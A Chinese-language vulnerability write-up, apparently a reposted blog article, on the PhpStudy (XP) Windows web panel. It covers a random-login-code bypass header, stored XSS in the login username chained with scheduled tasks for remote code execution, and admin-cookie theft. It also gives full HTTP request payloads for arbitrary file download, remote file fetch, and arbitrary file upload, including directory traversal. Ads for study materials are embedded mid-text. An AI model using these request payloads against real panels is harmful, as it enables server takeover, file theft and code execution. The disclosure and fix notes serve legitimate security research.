漏洞簡介
PhpStudy國內12年老牌公益軟體,集安全、高效、功能與一體,已獲得全球用戶認可安裝,運維也高效, 支持一鍵LAMP、LNMP、集群、監控、網站、資料庫、FTP、軟體中心、偽靜態、云備份、SSL、多版本共存、Nginx反向代理、服務器防火墻、web防火墻、監控大屏等100多項服務器管理功能,小皮 Windows web 面板存在存盤型 xss 漏洞,結合后臺計劃任務即可實作 RCE,
影響版本
環境搭建
從官網下載 小皮 windows 面板安裝包
https://www.xp.cn/windows-panel.html
?![]()
?
?
安裝完成后會有一個初始資訊文本,記錄了小皮面板的登錄地址以及賬號密碼,
?
?
漏洞復現
繞過隨機碼
我們注意到小皮面板后臺默認開放在 9080 埠,后臺登錄 url 地址中會存在一個隨機碼,不添加隨機碼時回傳資訊為 404,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
?
?
在程式中全域搜索和 404 相關的字樣定位到 service/httpServer/Workerman/WebServer.php?
?
?
當添加請求頭 X-Requested-With: XMLHttpRequest 就可以繞過隨機碼,
?
?
?
存盤型 XSS
我們在用戶登錄處的用戶名插入彈窗 XSS 代碼 驗證是否存在漏洞,
<script>alert("xss")</script>
?
?
?
?
利用正確的用戶名密碼登錄查看,
?
?
我們發現成功的觸發了存盤型 xss,
我們查看登錄時的資料包
?
?
?service/app/account.php?
?
?
?\Account::login?
?
?\Socket::request?
?
?
?
將資訊保存起來,登錄平臺后會自動獲取一次日志資訊,
?
?
?service/app/log.php?
?
?
?
后臺計劃任務
我們注意到后臺有計劃任務模塊,
?
所以可以直接通過構造計劃任務實作 RCE,
添加任務 -> 添加 shell 腳本 -> 構造 shell 腳本內容 -> 執行 shell 腳本
?
?
?
?
?
?
?
?
?
?
?
成功執行命令,
結合原本的存盤型 XSS,可以直接獲取管理員的 Cookie 值然后實作后臺計劃任務命令執行,或者直接通過 js 檔案實作類似 CSRF + 后臺計劃任務命令執行,
任意檔案下載
構造資料包
GET /service/app/files.php?type=download&file=L3Rlc3QudHh0 HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
file 的值是 base64 編碼后的 /test.txt 成功讀取檔案內容,
?
?
?
?
service/app/files.php
?
檔案下載通過 get 獲取檔案名,通過 base64 解碼獲取,沒有校驗,所以可以實作任意檔案下載,
任意代碼執行
構造資料包
POST /service/app/files.php?type=download_remote_file HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
?
url=aHR0cDovLzE5Mi4xNjguMjIyLjE6ODAwMC8xLnR4dA==&download_to_file_folder=&newfilename=testing.txt
url 是 base64 編碼的 http://192.168.222.1:8000/1.txt?
python2 -m SimpleHTTPServer 8000 #在本地開啟 http 服務
?
?
?
?
?service/app/files.php?
?
?
通過 url 獲取遠程的下載地址,download_to_file_folder 指定下載檔案檔案夾,newfilename 指定保存檔案的檔案名,
任意檔案上傳
構造資料包
POST /service/app/files.php?type=file_upload HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Length: 288
?
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file_path"
?
/
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file"; filename="testing1.txt"
Content-type: image/jpg
?
qweqwe
------WebKitFormBoundaryE0tFhmmng2vwxftT--
?
?
?
?service/app/files.php?
?
任意檔案上傳二
構造資料包
POST /service/app/files.php?type=save_file_contents HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
?
file_path=/&file_name=test2.txt&txt_file_contents=qwerqwer
?
?
?
?service/app/files.php?
?
?
根據通過 post 傳入的值 file_path 指定保存檔案目錄 file_name 指定檔案保存名字 txt_file_contents 指定檔案保存內容,未作任何過濾,可實作任意檔案上傳,
任意檔案上傳三
構造資料包
POST /service/app/databases.php?type=file_add HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Length: 312
?
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="parent_dir"
?
../../../../../../../../
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file"; filename="testing2.txt"
Content-type: image/jpg
?
qweqwe
------WebKitFormBoundaryE0tFhmmng2vwxftT--
?
?
?
?
?service/app/databases.php?
?
?
漏洞修復
在登錄處添加了校驗,
?
?
對傳入的檔案名的長度進行校驗,同時對傳入的字串進行了 htmlspecialchars? 處理,
更多靶場實驗練習、網安學習資料,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/548360.html
標籤:其他
上一篇:【原型設計工具】??上海道寧為您提供Justinmind,助力您在幾分鐘內形成原型,并現場測驗,無需撰寫任何代碼
